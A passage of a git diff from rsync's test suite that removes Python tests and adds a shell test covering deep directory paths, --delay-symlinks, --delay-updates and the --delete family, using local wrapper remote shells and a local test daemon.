listed_paths(out)\n-want = {'foo', 'foo/one'}\n-if got != want:\n-    print(out)\n-    test_fail(f\"test-from glob paths {sorted(got)} != expected {sorted(want)}\")\n-\n-# atimes-format variant -- only if rsync was built with atimes support.\n-vv = run_rsync('-VV', check=True, capture_output=True)\n-if '\"atimes\": true' in vv.stdout:\n-    out = run_and_check(['-rU', f'{daemon_url}/test-from/f*'], \"test-from glob with -U\")\n-    got = listed_paths(out)\n-    if got != want:\n-        print(out)\n-        test_fail(f\"-U glob paths {sorted(got)} != expected {sorted(want)}\")\ndiff --git a/testsuite/deep-path_test.py b/testsuite/deep-path_test.py\ndeleted file mode 100644\nindex 817524d..0000000\n--- a/testsuite/deep-path_test.py\n+++ /dev/null\n@@ -1,59 +0,0 @@\n-#!/usr/bin/env python3\n-# Exercise the DPC_MAXDEPTH (64) boundary of the held ancestor-dirfd cache.\n-#\n-# The receiver/generator (get_dir_fd) and the sender (held_dir_path_fd) resolve\n-# a path against a persistent ancestor-dirfd stack capped at DPC_MAXDEPTH=64\n-# path components (syscall.c).  A directory deeper than that is declined by the\n-# cache (dpc_dir_fd returns -1) and must fall back to the un-cached\n-# secure_relative_open() walk -- which handles arbitrary depth -- and still\n-# produce a byte-identical result with no overflow/crash at the array bound.\n-#\n-# We build a single chain with a file at EVERY level past the cap, so dir-depths\n-# both within the cache (<=64 components, fast path) and beyond it (>64, the\n-# fallback) are transferred in one run, exercising the fast-path -> fallback\n-# handoff on the sender AND the receiver (whose caches are independent).\n-# Plain local transfer + a no-chroot daemon push; no root required.\n-\n-import os\n-\n-from rsyncfns import (\n-    SCRATCHDIR, checkit, make_tree, rmtree, start_test_daemon, test_fail,\n-    test_skipped, walk_files, write_daemon_conf,\n-)\n-\n-DEPTH = 70            # > DPC_MAXDEPTH (64): the deepest files use the fallback\n-DAEMON_PORT = 12905\n-\n-base = SCRATCHDIR / 'deep-path'\n-src = base / 'src'\n-rmtree(base)\n-\n-# One deep chain, a file at each level: src/f0, src/d1/f1, ..., src/d1/.../d70/f70.\n-try:\n-    make_tree(src, depth=DEPTH, data=True)\n-except OSError as e:\n-    test_skipped(f\"cannot build a {DEPTH}-deep tree ({e})\")\n-\n-# Sanity: the deepest file's parent really has more components than the cache\n-# cap, so the fallback is genuinely exercised (not just the fast path).\n-deepest = max(walk_files(src), key=lambda p: len(p.relative_to(src).parts))\n-parent_components = len(deepest.relative_to(src).parts) - 1   # drop the filename\n-if parent_components <= 64:\n-    test_fail(f\"deep tree only {parent_components} components deep -- \"\n-              \"does not cross DPC_MAXDEPTH (64); test is ineffective\")\n-\n-# --- local transfer: sender AND receiver caches both cross the boundary -----\n-dest = base / 'dest'\n-checkit(['-a', f'{src}/', str(dest)], src, dest)\n-\n-# --- daemon push: the daemon receiver uses the confined resolver ------------\n-mod = base / 'module'\n-mod.mkdir(parents=True, exist_ok=True)\n-conf = write_daemon_conf([\n-    ('deep', {'path': str(mod), 'use chroot': 'no', 'read only': 'no'}),\n-])\n-daemon_url = start_test_daemon(conf, DAEMON_PORT).rstrip('/')\n-checkit(['-a', f'{src}/', f'{daemon_url}/deep/'], src, mod, allowed_codes=(0, 23))\n-\n-print(f\"deep-path: {DEPTH}-deep tree round-trips past the dir-fd cache cap \"\n-      \"(local + daemon)\")\ndiff --git a/testsuite/delay-symlinks-remote_test.py b/testsuite/delay-symlinks-remote_test.py\ndeleted file mode 100644\nindex 925f0c6..0000000\n--- a/testsuite/delay-symlinks-remote_test.py\n+++ /dev/null\n@@ -1,124 +0,0 @@\n-#!/usr/bin/env python3\n-# Coverage of how --delay-symlinks is passed between client and server.\n-#\n-# Only the receiving side defers symlinks, so server_options() passes the\n-# option to a remote receiver (a push) but not to a remote sender (a pull).\n-# Either way the receiver turns off incremental recursion, which -v shows by\n-# not printing \"sending/receiving incremental file list\".  Below protocol 29\n-# the option is an error, and a remote receiver too old to know the option\n-# rejects it before anything is transferred.\n-\n-import os\n-import subprocess\n-import sys\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, SRCDIR, TODIR,\n-    forced_protocol, rmtree, rsh_cmd, rsync_path_arg, run_rsync, test_fail,\n-    test_skipped,\n-)\n-\n-proto = forced_protocol()\n-if proto is not None and proto < 29:\n-    test_skipped(f\"--delay-symlinks requires protocol 29+ (negotiated {proto})\")\n-# Incremental recursion needs protocol 30, so below that there's none to\n-# turn off.\n-inc_recurse = proto is None or proto >= 30\n-\n-# A remote shell that records the command it is asked to run, then runs it\n-# the way support/lsh.sh does.\n-LOG = SCRATCHDIR / 'remote-commands'\n-RSH = SCRATCHDIR / 'logging-rsh'\n-RSH.write_text(f'''#!{sys.executable}\n-import os, sys\n-with open({str(LOG)!r}, 'a') as fh:\n-    fh.write(' '.join(sys.argv[1:]) + '\\\\n')\n-os.execv('/bin/sh', ['/bin/sh', {str(SRCDIR / 'support' / 'lsh.sh')!r},\n-                     *sys.argv[1:]])\n-''')\n-RSH.chmod(0o755)\n-\n-rmtree(FROMDIR)\n-(FROMDIR / 'sub').mkdir(parents=True)\n-(FROMDIR / 'sub' / 'target').write_text(\"target\\n\")\n-os.symlink('target', FROMDIR / 'sub' / 'link')\n-\n-\n-def remote_run(direction, *opts, rsync_path=None):\n-    \"\"\"Push or pull FROMDIR to TODIR through the logging remote shell.\n-    Returns the finished process and the remote command it ran.\"\"\"\n-    rmtree(TODIR)\n-    if LOG.exists():\n-        LOG.unlink()\n-    if direction == 'push':\n-        paths = (f'{FROMDIR}/', f'lh:{TODIR}/')\n-    else:\n-        paths = (f'lh:{FROMDIR}/', f'{TODIR}/')\n-    proc = run_rsync('-rlv', *opts, f'--rsh={rsh_cmd(str(RSH))}',\n-                     f'--rsync-path={rsync_path or rsync_path_arg()}', *paths,\n-                     check=False, capture_output=True)\n-    return proc, LOG.read_text() if LOG.exists() else ''\n-\n-\n-for direction in ('push', 'pull'):\n-    # Control: without the option the transfer recurses incrementally.\n-    proc, remote = remote_run(direction)\n-    if proc.returncode != 0:\n-        test_fail(f\"{direction}: control transfer exited {proc.returncode}:\\n\"\n-                  f\"{proc.stderr}\")\n-    if inc_recurse and 'incremental file list' not in proc.stdout:\n-        test_fail(f\"{direction}: the control transfer didn't recurse \"\n-                  f\"incrementally, so the check below proves nothing:\\n\"\n-                  f\"{proc.stdout}\")\n-\n-    proc, remote = remote_run(direction, '--delay-symlinks')\n-    if proc.returncode != 0:\n-        test_fail(f\"{direction}: transfer exited {proc.returncode}:\\n\"\n-                  f\"{proc.stderr}\")\n-    if 'incremental file list' in proc.stdout:\n-        test_fail(f\"{direction}: --delay-symlinks didn't turn off incremental \"\n-                  f\"recursion:\\n{proc.stdout}\")\n-    if ('--delay-symlinks' in remote) != (direction == 'push'):\n-        whom = 'remote receiver' if direction == 'push' else 'remote sender'\n-        test_fail(f\"{direction}: the option should be passed only to a remote \"\n-                  f\"receiver, but the {whom} was run as: {remote}\")\n-    if os.readlink(TODIR / 'sub' / 'link') != 'target':\n-        test_fail(f\"{direction}: the symlink wasn't transferred\")\n-\n-# Below protocol 29 the option is an error, locally and for a push.\n-for paths in ((f'{FROMDIR}/', f'{TODIR}/'), (f'{FROMDIR}/', f'lh:{TODIR}/')):\n-    rmtree(TODIR)\n-    proc = run_rsync('-rl', '--delay-symlinks', '--protocol=28',\n-                     f'--rsh={rsh_cmd()}', f'--rsync-path={rsync_path_arg()}',\n-                     *paths, check=False, capture_output=True)\n-    if (proc.returncode != 2\n-            or 'requires protocol 29 or higher' not in proc.stderr):\n-        test_fail(f\"--protocol=28 to {paths[1]}: expected the protocol error \"\n-                  f\"(exit 2), got exit {proc.returncode}:\\n{proc.stderr}\")\n-    if os.path.lexists(TODIR / 'sub' / 'link'):\n-        test_fail(f\"--protocol=28 to {paths[1]}: the transfer went ahead\")\n-\n-# A remote rsync from before the option rejects it when it is the receiver,\n-# before anything is transferred, and isn't sent it when it is the sender.\n-old = SRCDIR / 'old_versions' / 'rsync_3.4.1'\n-try:\n-    runnable = subprocess.run([str(old), '--version'], capture_output=True,\n-                              timeout=10).returncode == 0\n-except (OSError, subprocess.TimeoutExpired):\n-    runnable = False\n-if runnable:\n-    old_path = rsync_path_arg(str(old))\n-    proc, remote = remote_run('push', '--delay-symlinks', rsync_path=old_path)\n-    if (proc.returncode == 0\n-            or '--delay-symlinks: unknown option' not in proc.stderr):\n-        test_fail(f\"push to rsync 3.4.1: expected it to reject the option, got \"\n-                  f\"exit {proc.returncode}:\\n{proc.stderr}\")\n-    if os.path.lexists(TODIR / 'sub'):\n-        test_fail(\"push to rsync 3.4.1: files were transferred anyway\")\n-\n-    proc, remote = remote_run('pull', '--delay-symlinks', rsync_path=old_path)\n-    if proc.returncode != 0:\n-        test_fail(f\"pull from rsync 3.4.1: exited {proc.returncode}:\\n\"\n-                  f\"{proc.stderr}\")\n-    if os.readlink(TODIR / 'sub' / 'link') != 'target':\n-        test_fail(\"pull from rsync 3.4.1: the symlink wasn't transferred\")\ndiff --git a/testsuite/delay-symlinks_test.py b/testsuite/delay-symlinks_test.py\ndeleted file mode 100644\nindex c09f2d9..0000000\n--- a/testsuite/delay-symlinks_test.py\n+++ /dev/null\n@@ -1,335 +0,0 @@\n-#!/usr/bin/env python3\n-# Coverage of --delay-symlinks, alone and together with --delay-updates.\n-#\n-# The generator holds back new and changed symlinks, and generate_files()\n-# creates them with create_deferred_symlinks() once the receiver's redo-phase\n-# MSG_DONE says every file (including any --delay-updates renames) is in place,\n-# itemizing each one only after it has been created.\n-#\n-# The ordering checks push through a remote shell that relays the sender's data\n-# and stops partway through a large target file until the test lets it go on.\n-# The symlink sorts before its target, so by the time any of the target's data\n-# is sent the generator has already handled the symlink.  At the pause, the\n-# link therefore exists and dangles without the option, and doesn't exist yet\n-# with it -- no timing is involved.\n-\n-import os\n-import subprocess\n-import sys\n-import time\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, TODIR,\n-    assert_is_symlink, assert_same, checkit, forced_protocol, make_data_file,\n-    rmtree, rsh_cmd, rsync_argv, rsync_path_arg, run_rsync, test_fail,\n-    test_skipped,\n-)\n-\n-proto = forced_protocol()\n-if proto is not None and proto < 29:\n-    test_skipped(f\"--delay-symlinks requires protocol 29+ (negotiated {proto})\")\n-\n-os.environ['RSYNC_RSH'] = rsh_cmd()\n-\n-TARGET_SIZE = 4 * 1024 * 1024\n-PAUSE_AT = 1024 * 1024          # bytes of the sender's stream to let through\n-LINK = os.path.join('a', 'libfoo.so')\n-LINK_TARGET = '../lib/libfoo.so.1'\n-TARGET = os.path.join('lib', 'libfoo.so.1')\n-OLD_LINK_TARGET = '../lib/libfoo.so.0'\n-OLD_TARGET = os.path.join('lib', 'libfoo.so.0')\n-\n-CTL = SCRATCHDIR / 'relay-ctl'\n-RELAY = SCRATCHDIR / 'relay-rsh'\n-RELAY.write_text(f'''#!{sys.executable}\n-# Remote shell that runs the command locally and relays its stdin, stopping\n-# after DS_PAUSE_AT bytes until the file DS_CTL/resume exists.  Like ssh, it\n-# exits as soon as the command does.\n-import os, subprocess, sys, threading, time\n-args = sys.argv[1:]\n-while args and args[0].startswith('-'):\n-    args.pop(0)\n-args.pop(0)  # the host\n-pause_at = int(os.environ['DS_PAUSE_AT'])\n-ctl = os.environ['DS_CTL']\n-child = subprocess.Popen(['sh', '-c', ' '.join(args)], stdin=subprocess.PIPE)\n-# Only the command writes to the client, so it sees EOF when the command exits.\n-os.close(1)\n-\n-def relay():\n-    sent = 0\n-    try:\n-        while True:\n-            if sent == pause_at:\n-                open(os.path.join(ctl, 'paused'), 'w').close()\n-                while not os.path.exists(os.path.join(ctl, 'resume')):\n-                    time.sleep(0.01)\n-            data = os.read(0, 65536 if sent >= pause_at else min(65536, pause_at - sent))\n-            if not data:\n-                break\n-            child.stdin.write(data)\n-            child.stdin.flush()\n-            sent += len(data)\n-        child.stdin.close()\n-    except (BrokenPipeError, ValueError):\n-        pass\n-\n-threading.Thread(target=relay, daemon=True).start()\n-os._exit(child.wait())\n-''')\n-RELAY.chmod(0o755)\n-\n-\n-def seed_pair():\n-    rmtree(FROMDIR)\n-    rmtree(TODIR)\n-    (FROMDIR / 'a').mkdir(parents=True)\n-    (FROMDIR / 'lib').mkdir()\n-    make_data_file(FROMDIR / TARGET, TARGET_SIZE)\n-    os.symlink(LINK_TARGET, FROMDIR / LINK)\n-\n-\n-def seed_changed():\n-    \"\"\"Like seed_pair(), but the destination already has the link pointing at\n-    an old target, so the transfer changes it.\"\"\"\n-    seed_pair()\n-    (TODIR / 'a').mkdir(parents=True)\n-    (TODIR / 'lib').mkdir()\n-    (TODIR / OLD_TARGET).write_text(\"old\\n\")\n-    os.symlink(OLD_LINK_TARGET, TODIR / LINK)\n-\n-\n-def paused_push(extra, at_pause):\n-    \"\"\"Push FROMDIR to TODIR through the relay, call at_pause() while the\n-    sender's data is held back partway through the target, then let the\n-    transfer finish.  Returns (exit code, stdout, stderr).\"\"\"\n-    rmtree(CTL)\n-    CTL.mkdir()\n-    env = dict(os.environ, DS_PAUSE_AT=str(PAUSE_AT), DS_CTL=str(CTL))\n-    argv = rsync_argv('-ai', '--no-inc-recursive', *extra,\n-                      f'--rsh={rsh_cmd(str(RELAY))}',\n-                      f'--rsync-path={rsync_path_arg()}',\n-                      f'{FROMDIR}/', f'lh:{TODIR}/')\n-    with open(CTL / 'out', 'w') as out, open(CTL / 'err', 'w') as err:\n-        proc = subprocess.Popen(argv, stdout=out, stderr=err, env=env)\n-        deadline = time.monotonic() + 60\n-        while not (CTL / 'paused').exists():\n-            if proc.poll() is not None or time.monotonic() > deadline:\n-                proc.kill()\n-                proc.wait()\n-                test_fail(f\"{' '.join(extra)}: the transfer never reached the \"\n-                          f\"pause point:\\n{(CTL / 'err').read_text()}\")\n-            time.sleep(0.01)\n-        try:\n-            at_pause()\n-        finally:\n-            (CTL / 'resume').touch()\n-        rc = proc.wait(timeout=60)\n-    return rc, (CTL / 'out').read_text(), (CTL / 'err').read_text()\n-\n-\n-def link_dangles():\n-    link = TODIR / LINK\n-    return os.path.islink(link) and not os.path.exists(link)\n-\n-\n-def link_target():\n-    link = TODIR / LINK\n-    return os.readlink(link) if os.path.islink(link) else None\n-\n-\n-def readonly_dirs_enforced():\n-    \"\"\"Does a 0555 directory refuse new entries here?  It doesn't for root, or\n-    for a user holding CAP_DAC_OVERRIDE.\"\"\"\n-    probe = SCRATCHDIR / 'ro-probe'\n-    rmtree(probe)\n-    probe.mkdir()\n-    probe.chmod(0o555)\n-    try:\n-        (probe / 'entry').touch()\n-    except PermissionError:\n-        return True\n-    finally:\n-        probe.chmod(0o755)\n-        rmtree(probe)\n-    return False\n-\n-\n-itemized_link = f'cL+++++++++ {LINK} -> {LINK_TARGET}'\n-can_fail_link = readonly_dirs_enforced()\n-\n-# Control: without the option the symlink exists, and dangles, at the pause.\n-seed_pair()\n-seen = {}\n-rc, out, err = paused_push([], lambda: seen.update(dangling=link_dangles()))\n-if not seen['dangling']:\n-    test_fail(\"without --delay-symlinks the link should dangle at the pause \"\n-              \"point; the pause point isn't where the test expects it\")\n-if rc != 0:\n-    test_fail(f\"control transfer exited {rc}:\\n{err}\")\n-\n-# Control: without the option an existing link has already been repointed at\n-# the new target, and dangles, at the pause.\n-seed_changed()\n-seen = {}\n-rc, out, err = paused_push(\n-    [], lambda: seen.update(target=link_target(), dangling=link_dangles()))\n-if seen['target'] != LINK_TARGET or not seen['dangling']:\n-    test_fail(\"without --delay-symlinks the changed link should already point \"\n-              f\"at the new target and dangle at the pause point, got {seen}\")\n-if rc != 0:\n-    test_fail(f\"control transfer exited {rc}:\\n{err}\")\n-\n-for extra in ([], ['--delay-updates']):\n-    label = ' '.join(['--delay-symlinks', *extra])\n-\n-    # With the option, nothing exists at that path until the target is in place.\n-    seed_pair()\n-    seen = {}\n-    rc, out, err = paused_push(\n-        ['--delay-symlinks', *extra],\n-        lambda: seen.update(link=os.path.lexists(TODIR / LINK),\n-                            target=os.path.exists(TODIR / TARGET)))\n-    if seen['target']:\n-        test_fail(f\"{label}: the target was already in place at the pause point\")\n-    if seen['link']:\n-        test_fail(f\"{label}: the symlink was created before its target\")\n-    if rc != 0:\n-        test_fail(f\"{label}: transfer exited {rc}:\\n{err}\")\n-    assert_is_symlink(TODIR / LINK, target=LINK_TARGET, label=label)\n-    assert_same(TODIR / TARGET, FROMDIR / TARGET, label=label)\n-    if itemized_link not in out.splitlines():\n-        test_fail(f\"{label}: the created symlink wasn't itemized:\\n{out}\")\n-\n-    # An existing link that changes keeps pointing at its old target until the\n-    # new target is in place.\n-    seed_changed()\n-    seen = {}\n-    rc, out, err = paused_push(\n-        ['--delay-symlinks', *extra],\n-        lambda: seen.update(target=link_target(),\n-                            resolves=os.path.exists(TODIR / LINK)))\n-    if seen['target'] != OLD_LINK_TARGET or not seen['resolves']:\n-        test_fail(f\"{label}: the changed symlink was replaced before its new \"\n-                  f\"target was in place, got {seen}\")\n-    if rc != 0:\n-        test_fail(f\"{label}: transfer exited {rc}:\\n{err}\")\n-    assert_is_symlink(TODIR / LINK, target=LINK_TARGET, label=label)\n-    lines = out.splitlines()\n-    if not any(line.startswith('cL') and LINK in line for line in lines):\n-        test_fail(f\"{label}: the changed symlink wasn't itemized:\\n{out}\")\n-\n-    # A symlink that can't be created is an error, and isn't itemized.  The\n-    # link's directory is made read-only at the pause point, so this is skipped\n-    # where a read-only directory doesn't stop the link being created.\n-    if can_fail_link:\n-        seed_pair()\n-        try:\n-            rc, out, err = paused_push(['--delay-symlinks', *extra],\n-                                       lambda: os.chmod(TODIR / 'a', 0o555))\n-        finally:\n-            if os.path.isdir(TODIR / 'a'):\n-                os.chmod(TODIR / 'a', 0o755)\n-        if rc != 23:\n-            test_fail(f\"{label}: a failed symlink should exit 23, got {rc}:\\n{err}\")\n-        if any(LINK in line for line in out.splitlines()):\n-            test_fail(f\"{label}: a symlink that failed was itemized:\\n{out}\")\n-        if LINK not in err:\n-            test_fail(f\"{label}: the failed symlink wasn't reported:\\n{err}\")\n-        if os.path.lexists(TODIR / LINK):\n-            test_fail(f\"{label}: the symlink exists although creating it failed\")\n-\n-\n-def seed_tree():\n-    rmtree(FROMDIR)\n-    rmtree(TODIR)\n-    FROMDIR.mkdir(parents=True)\n-    make_data_file(FROMDIR / 'libfoo.so.1', 64 * 1024)\n-    os.symlink('libfoo.so.1', FROMDIR / 'libfoo.so')\n-    (FROMDIR / 'v1').mkdir()\n-    make_data_file(FROMDIR / 'v1' / 'data', 16 * 1024)\n-    os.symlink('v1', FROMDIR / 'current')\n-\n-\n-# New targets plus new symlinks to them, locally.\n-seed_tree()\n-checkit(['-ai', '--delay-symlinks', f'{FROMDIR}/', f'{TODIR}/'], FROMDIR, TODIR)\n-\n-# Move both symlinks to new targets and delete the old ones.\n-os.unlink(FROMDIR / 'libfoo.so.1')\n-os.unlink(FROMDIR / 'libfoo.so')\n-make_data_file(FROMDIR / 'libfoo.so.2', 64 * 1024)\n-os.symlink('libfoo.so.2', FROMDIR / 'libfoo.so')\n-rmtree(FROMDIR / 'v1')\n-(FROMDIR / 'v2').mkdir()\n-make_data_file(FROMDIR / 'v2' / 'data', 16 * 1024)\n-os.unlink(FROMDIR / 'current')\n-os.symlink('v2', FROMDIR / 'current')\n-checkit(['-ai', '--delete-delay', '--delay-symlinks', f'{FROMDIR}/', f'{TODIR}/'],\n-        FROMDIR, TODIR)\n-\n-# Swap a regular file and a symlink for each other.\n-os.unlink(FROMDIR / 'libfoo.so')\n-(FROMDIR / 'libfoo.so').write_text(\"now a file\\n\")\n-os.unlink(FROMDIR / 'libfoo.so.2')\n-os.symlink('libfoo.so', FROMDIR / 'libfoo.so.2')\n-checkit(['-ai', '--delete', '--delay-symlinks', f'{FROMDIR}/', f'{TODIR}/'],\n-        FROMDIR, TODIR)\n-\n-# Replace a non-empty directory with a symlink: --force deletes the directory\n-# tree when the deferred link is created, and those deletions are counted the\n-# same as without the option.\n-os.unlink(FROMDIR / 'current')\n-os.symlink('v2', FROMDIR / 'current')\n-os.unlink(TODIR / 'current')\n-(TODIR / 'current' / 'sub').mkdir(parents=True)\n-(TODIR / 'current' / 'file').write_text(\"in the way\\n\")\n-(TODIR / 'current' / 'sub' / 'file').write_text(\"in the way\\n\")\n-plain = SCRATCHDIR / 'to-plain'\n-rmtree(plain)\n-run_rsync('-a', f'{TODIR}/', f'{plain}/')\n-\n-\n-def deletion_stats(*args):\n-    proc = run_rsync('-a', '--force', '--stats', *args, capture_output=True)\n-    return [line for line in proc.stdout.splitlines()\n-            if line.startswith('Number of deleted files')]\n-\n-\n-expected = deletion_stats(f'{FROMDIR}/', f'{plain}/')\n-got = deletion_stats('--delay-symlinks', f'{FROMDIR}/', f'{TODIR}/')\n-if got != expected:\n-    test_fail(f\"--delay-symlinks reported {got} deletions, \"\n-              f\"{expected} without it\")\n-rmtree(plain)\n-checkit(['-ai', '--force', '--delay-symlinks', f'{FROMDIR}/', f'{TODIR}/'],\n-        FROMDIR, TODIR)\n-\n-# An unchanged symlink is left alone and not itemized.\n-ino = os.lstat(TODIR / 'current').st_ino\n-proc = run_rsync('-ai', '--delay-symlinks', f'{FROMDIR}/', f'{TODIR}/',\n-                 capture_output=True)\n-if os.lstat(TODIR / 'current').st_ino != ino:\n-    test_fail(\"an unchanged symlink was recreated\")\n-if 'current' in proc.stdout:\n-    test_fail(f\"an unchanged symlink was itemized:\\n{proc.stdout}\")\n-\n-# A symlink inside a read-only directory: rsync makes the directory writable\n-# during the transfer and restores its mode at the end, after the symlinks.\n-seed_tree()\n-(FROMDIR / 'ro').mkdir()\n-os.symlink('../libfoo.so.1', FROMDIR / 'ro' / 'link')\n-os.chmod(FROMDIR / 'ro', 0o555)\n-try:\n-    checkit(['-ai', '--delay-symlinks', f'{FROMDIR}/', f'{TODIR}/'],\n-            FROMDIR, TODIR)\n-finally:\n-    os.chmod(FROMDIR / 'ro', 0o755)\n-    if os.path.isdir(TODIR / 'ro'):\n-        os.chmod(TODIR / 'ro', 0o755)\n-\n-# --dry-run creates nothing.\n-seed_tree()\n-run_rsync('-a', '--delay-symlinks', '--dry-run', f'{FROMDIR}/', f'{TODIR}/')\n-if os.path.lexists(TODIR):\n-    test_fail(\"--dry-run created the destination\")\ndiff --git a/testsuite/delay-updates-deep_test.py b/testsuite/delay-updates-deep_test.py\ndeleted file mode 100644\nindex bd359fc..0000000\n--- a/testsuite/delay-updates-deep_test.py\n+++ /dev/null\n@@ -1,62 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Property-level coverage of --delay-updates at depth.\n-\n---delay-updates writes each updated file into a per-directory staging dir\n-(.~tmp~) during the transfer and only renames them into place at the very end,\n-so an interrupted run never leaves a half-written file visible. The staging dir\n-sits inside each destination directory, so the staging write and the\n-end-of-run rename are parent-directory operations the resolver restructure\n-rewrites; the ported delay-updates_test.py only exercises the tree root, so\n-this companion drives a >=3-deep tree.\n-\n-Asserts, at every level of the tree:\n-  * a --delay-updates transfer reproduces the source and leaves no .~tmp~\n-    staging directory behind;\n-  * a stale file pre-planted in a deep .~tmp~ staging dir is overwritten\n-    cleanly and the staging dir is removed.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_same, make_tree, rmtree, run_rsync, test_fail, walk_dirs,\n-    walk_files,\n-)\n-\n-src = FROMDIR\n-deepdir = os.path.join('d1', 'd2', 'd3')\n-\n-\n-def no_staging_left():\n-    leftover = [p for p in walk_dirs(TODIR) if p.name == '.~tmp~']\n-    if leftover:\n-        test_fail(f\"--delay-updates left staging dirs behind: {leftover}\")\n-\n-\n-# --- initial --delay-updates over a deep tree -------------------------------\n-rmtree(src)\n-rmtree(TODIR)\n-make_tree(src, depth=3, data=True, data_size=4096)\n-rels = [p.relative_to(src) for p in walk_files(src)]\n-\n-run_rsync('-a', '--delay-updates', f'{src}/', f'{TODIR}/')\n-for rel in rels:\n-    assert_same(TODIR / rel, src / rel, label=f'delay-updates initial {rel}')\n-no_staging_left()\n-\n-# --- update every file, with a stale staging file planted deep --------------\n-for rel in rels:\n-    with open(src / rel, 'ab') as f:\n-        f.write(b'\\nupdated content\\n')\n-\n-stage = TODIR / deepdir / '.~tmp~'\n-stage.mkdir(parents=True, exist_ok=True)\n-(stage / 'f3').write_bytes(b'stale staged junk\\n')   # must be overwritten\n-\n-run_rsync('-a', '--delay-updates', f'{src}/', f'{TODIR}/')\n-for rel in rels:\n-    assert_same(TODIR / rel, src / rel, label=f'delay-updates update {rel}')\n-no_staging_left()\n-\n-print(\"delay-updates-deep: staging + clean overwrite verified at depth\")\ndiff --git a/testsuite/delay-updates.test b/testsuite/delay-updates.test\nnew file mode 100644\nindex 0000000..3b6226b\n--- /dev/null\n+++ b/testsuite/delay-updates.test\n@@ -0,0 +1,21 @@\n+#!/bin/sh\n+\n+# Test rsync --delay-updates\n+\n+. \"$suitedir/rsync.fns\"\n+\n+mkdir \"$fromdir\"\n+\n+echo 1 > \"$fromdir/foo\"\n+\n+checkit \"$RSYNC -aiv --delay-updates \\\"$fromdir/\\\" \\\"$todir/\\\"\" \"$fromdir\" \"$todir\"\n+\n+mkdir \"$todir/.~tmp~\"\n+echo 2 > \"$todir/.~tmp~/foo\"\n+touch -r .. \"$todir/.~tmp~/foo\" \"$todir/foo\"\n+echo 3 > \"$fromdir/foo\"\n+\n+checkit \"$RSYNC -aiv --delay-updates \\\"$fromdir/\\\" \\\"$todir/\\\"\" \"$fromdir\" \"$todir\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/delay-updates_test.py b/testsuite/delay-updates_test.py\ndeleted file mode 100644\nindex f672191..0000000\n--- a/testsuite/delay-updates_test.py\n+++ /dev/null\n@@ -1,31 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/delay-updates.test.\n-#\n-# Exercise --delay-updates: pre-seed the destination's staging directory\n-# with a stale file then re-sync; the final destination must match the\n-# source regardless of what the staging dir already contained.\n-\n-import os\n-\n-from rsyncfns import FROMDIR, TODIR, checkit\n-\n-\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-(FROMDIR / 'foo').write_text(\"1\\n\")\n-\n-checkit(['-aiv', '--delay-updates', f'{FROMDIR}/', f'{TODIR}/'], FROMDIR, TODIR)\n-\n-# Plant a stale \"in-progress\" update in the staging dir and a mismatched\n-# destination file, then re-sync. --delay-updates should overwrite cleanly.\n-(TODIR / '.~tmp~').mkdir(exist_ok=True)\n-(TODIR / '.~tmp~' / 'foo').write_text(\"2\\n\")\n-# Touch both to a fixed time in the past so they look stale and the source's\n-# fresh \"3\" clearly post-dates them.  (A real timestamp, not os.stat('..') --\n-# whose shared parent dir is bumped by concurrent -j tests to ~now -- avoids a\n-# same-second quick-check collision that would skip the update.)\n-stale = 1_000_000_000  # 2001-09-09, well in the past\n-os.utime(TODIR / '.~tmp~' / 'foo', (stale, stale))\n-os.utime(TODIR / 'foo', (stale, stale))\n-(FROMDIR / 'foo').write_text(\"3\\n\")\n-\n-checkit(['-aiv', '--delay-updates', f'{FROMDIR}/', f'{TODIR}/'], FROMDIR, TODIR)\ndiff --git a/testsuite/delete-deep_test.py b/testsuite/delete-deep_test.py\ndeleted file mode 100644\nindex b8e0158..0000000\n--- a/testsuite/delete-deep_test.py\n+++ /dev/null\n@@ -1,107 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of the --delete family at depth, plus --max-delete, --existing and\n---ignore-existing.\n-\n-delete_test.py covers --del dry-run output, --remove-source-files and per-dir\n-protect filters; this companion asserts the concrete outcome of deletion deep\n-in the tree (the subtree walk the resolver restructure touches) and the\n-controls that bound or invert it.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_exists, assert_not_exists, assert_same, make_tree, makepath, rmtree,\n-    run_rsync, test_fail, walk_files,\n-)\n-\n-src = FROMDIR\n-\n-\n-def seed_src():\n-    rmtree(src)\n-    make_tree(src, depth=3)\n-    return [p.relative_to(src) for p in walk_files(src)]\n-\n-\n-def fresh_dest():\n-    rmtree(TODIR)\n-    run_rsync('-a', f'{src}/', f'{TODIR}/')\n-\n-\n-# --- --delete removes a deep extraneous file and subtree --------------------\n-rels = seed_src()\n-fresh_dest()\n-makepath(TODIR / 'd1' / 'd2' / 'extra')\n-(TODIR / 'd1' / 'd2' / 'extra' / 'junk').write_text(\"x\\n\")\n-(TODIR / 'd1' / 'd2' / 'orphan').write_text(\"y\\n\")\n-run_rsync('-a', '--delete', f'{src}/', f'{TODIR}/')\n-assert_not_exists(TODIR / 'd1' / 'd2' / 'extra', label='--delete deep dir')\n-assert_not_exists(TODIR / 'd1' / 'd2' / 'orphan', label='--delete deep file')\n-for rel in rels:\n-    assert_same(TODIR / rel, src / rel, label=f'--delete kept {rel}')\n-\n-# --- every delete-timing variant yields the same deep deletion --------------\n-for variant in ('--delete-before', '--delete-during', '--delete-delay',\n-                '--delete-after'):\n-    fresh_dest()\n-    (TODIR / 'd1' / 'd2' / 'gone.txt').write_text(\"z\\n\")\n-    run_rsync('-a', variant, f'{src}/', f'{TODIR}/')\n-    assert_not_exists(TODIR / 'd1' / 'd2' / 'gone.txt', label=f'{variant} deep')\n-\n-# --- --max-delete caps the number of deletions ------------------------------\n-fresh_dest()\n-for i in range(5):\n-    (TODIR / f'extra{i}').write_text(\"e\\n\")\n-run_rsync('-a', '--delete', '--max-delete=2', f'{src}/', f'{TODIR}/',\n-          check=False)            # rsync exits 25 when the limit is hit\n-remaining = list(TODIR.glob('extra*'))\n-if len(remaining) != 3:\n-    test_fail(f\"--max-delete=2 should leave 3 of 5 extras, found \"\n-              f\"{len(remaining)}: 